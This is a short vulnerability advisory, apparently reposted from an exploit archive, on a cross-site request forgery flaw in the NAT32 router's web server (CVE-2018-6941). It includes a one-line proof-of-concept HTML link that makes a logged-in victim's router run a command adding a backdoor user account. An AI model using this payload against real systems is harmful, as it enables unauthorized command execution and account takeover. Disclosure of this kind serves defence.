NAT32 2.2 Build 22284 - Cross-Site Request Forgery Vulnerability

[+] Credits: hyp3rlinx
     
 
Vendor:
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www.nat32.com
 
 
Product:
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NAT32 Build (22284)
 
NAT32® is a versatile IP Router implemented as a WIN32 application.
 
 
Vulnerability Type:
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Remote Command Execution (CSRF)
 
 
CVE Reference:
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CVE-2018-6941
 
 
Security Issue:
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CSRF issue exists in the HTTPD component of NAT32 v2.2 Build 22284 devices that can be exploited for Remote Code Execution.
 
Remote attackers can potentially execute arbitrary System Commands due to a Cross Site Request Forgery, if an authenticated NAT32 user clicks a malicious link
or visits an attacker controlled webpage as NAT32 performs no check for blind requests.
 
Its also worth mentioning is NAT32 implements BASIC authentication which pass BASE64 Encoded credentials which can be easily revealed if sniffed on network.
 
 
Exploit/POC:
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<a href="http://VICTIM-IP:8080/shell?cmd=exec+net%20user%20HACKER%20abc123%20/add">Backdoor clicker</a>

#  0day.today [2018-04-08]  #